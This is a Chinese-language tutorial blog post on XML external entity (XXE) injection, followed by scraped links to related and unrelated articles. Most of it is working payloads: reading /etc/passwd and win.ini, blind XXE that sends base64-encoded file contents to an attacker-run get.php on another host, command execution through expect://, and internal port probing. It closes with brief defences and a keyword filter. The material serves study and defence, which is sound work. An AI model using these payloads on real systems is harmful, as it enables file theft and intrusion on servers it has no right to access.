XML实体注入漏洞的利用与学习

前言

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题.
在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题

漏洞利用

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

测试代码

使用simplexml_load_string函数解析body

<?php
$xml = $GET('xml');
$data = simplexml_load_string($xml);
print_r($data);
?>

漏洞测试

漏洞测试方式1

有回显,直接读取文件

Payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

windows:

http://192.168.0.140/xxe1.php?xml=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini" >]>
<root>
<name>&xxe;</name>
</root>

linux:

http://192.168.0.100/xml/example1.php?xml=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE UserInfo [
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<root>&name;</root>

通常需要把xml后的内容url编码使用

漏洞测试方式2

无回显,引用远程服务器上的XML文件读取文件

将以下1.xml保存到WEB服务器下

1.xml

<!ENTITY % a SYSTEM "file:///etc/passwd"> 
<!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.0.140/1.xml">
%remote;]>

漏洞测试方式3

在主机上放一个接收文件的php (get.php):

<?php
file_put_contents('01.txt', $_GET['xxe_local']);
?>

1.xml内容:

<!ENTITY % payload    SYSTEM     "php://filter/read=convert.base64-encode/resource=file:///C:/windows/win.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.0.140/get.php?xxe_local=%payload;'>"> %int; %trick;

这个XML,他引用了外部实体 C:/windows/win.ini 作为payload的值,然后又将payload拼接到 http://192.168.0.140/get.php?xxe_local=%payload;,进行HTTP请求。

接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。

发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取 C:/windows/win.ini 并进行base64编码后传给get.php,最后保存到主机上

测试payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.0.140/1.xml">
%remote;]>

01.txt会保存要读取文件的base64编码

XXE 危害

  • 读取任意文件
  • 执行系统命令
  • 探查内网端口
  • 攻击内网网站

读取任意文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

执行系统命令

在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

探测内网端口

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

攻击内网网站

结合其他的漏洞比如:struts2

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>

防御XXE攻击

方案一、使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true); JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false); Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

Reference

未知攻焉知防——XXE漏洞攻防
vulhub/php_xxe/
Z-BLOG Blind-XXE造成任意文件读取

3. XML实体注入漏洞的利用与学习的更多相关文章

  1. XML实体注入漏洞

    XML实体注入漏洞 测试代码1: 新建xmlget.php,复制下面代码 <?php $xml=$_GET['xml']; $data = simplexml_load_string($xml) ...

  2. 2.XML实体注入漏洞攻与防

    XML实体注入基础 当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件.执行系统命令.探测内网端口.攻击内网网站等危害. 简单了解XML以后,我们知道要在XML中使用特殊字符,需要使用实体字符 ...

  3. 企业安全01-Apache solr XML实体注入漏洞CVE-2017-12629

    Apache solr XML 实体注入漏洞CVE-2017-12629 一.简介 Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apac ...

  4. 小试XML实体注入攻击

    基础知识 XML(Extensible Markup Language)被设计用来传输和存储数据.关于它的语法,本文不准备写太多,只简单介绍一下. XML基本知识 1 2 3 4 5 <?xml ...

  5. Fortify漏洞之XML External Entity Injection(XML实体注入)

    继续对Fortify的漏洞进行总结,本篇主要针对  XML External Entity Injection(XML实体注入) 的漏洞进行总结,如下: 1.1.产生原因: XML External ...

  6. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...

  7. Xml外部实体注入漏洞

    Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...

  8. XXE--XML外部实体注入漏洞

    XXE漏洞原理 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部 ...

  9. XXE外部实体注入漏洞

    XML被设计为传输和存储数据,XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具.XXE漏洞全称XML E ...

随机推荐

  1. hid_info函数分析

    昨天博文<linux下无线鼠标驱动执行流程>中有一行输出信息很让我迷惑,如下所示: [ :1D57: Mouse [HID Wireless Mouse HID Wireless Mous ...

  2. android OTG【转】

    本文转载自:http://blog.csdn.net/xubin341719/article/details/7707056 一.OTG的概念 OTG是On-The-Go的缩写,是近年发展起来的技术, ...

  3. Linux LVM管理

    创建和管理LVM 要创建一个LVM系统,一般需要经过以下步骤: 1. 创建分区 fdisk /dev/sdb 使用分区工具(如:fdisk等)创建LVM分区,方法和创建其他一般分区的方式是一样的,区别 ...

  4. hihocoder 1142 三分求极值【三分算法 模板应用】

    #1142 : 三分·三分求极值 时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 这一次我们就简单一点了,题目在此: 在直角坐标系中有一条抛物线y=ax^2+bx+c和一 ...

  5. SDUT 1048 Digital Roots

    Digital Roots Time Limit: 1000ms   Memory limit: 65536K 题目描述 The digital root of a positive integer ...

  6. 算法(Algorithms)第4版 练习 1.3.37

    package com.qiusongde.creative; import com.qiusongde.Queue; import edu.princeton.cs.algs4.StdOut; pu ...

  7. Jquery实现超酷的时间轴特效

    Timeline时间轴Jquery特效是一款现在互联网上非常流行的一种布局结构,结合了瀑布流布局,最近很多网友问到这种特效,网站上有网友们分享过一款,功能虽然实现,但样式不太好看,今天就把它整理出来分 ...

  8. web.config中httpRedirect - 重定向单个页面

    例:在下面的例子中,“目录包含page1.htm,page2.htm,page3.htm和page4.htm.如下所示的web.config文件将执行以下操作/pages/page1.htm会重定向到 ...

  9. (转)通过汇编语言实现C协程

    转自:http://www.cnblogs.com/sniperHW/archive/2012/06/19/2554574.html 协程的概念就不介绍了,不清楚的同学可以自己google,windo ...

  10. 关于MFC消息的总结

    一.MFC的消息类型 MFC的消息类型大致可以分为三种: 1.命令消息.由菜单和工具栏或快捷键产生,以WM_COMMAND形式发出(以WM_COMMAND发出的还有很多控件,如Button等,但它们产 ...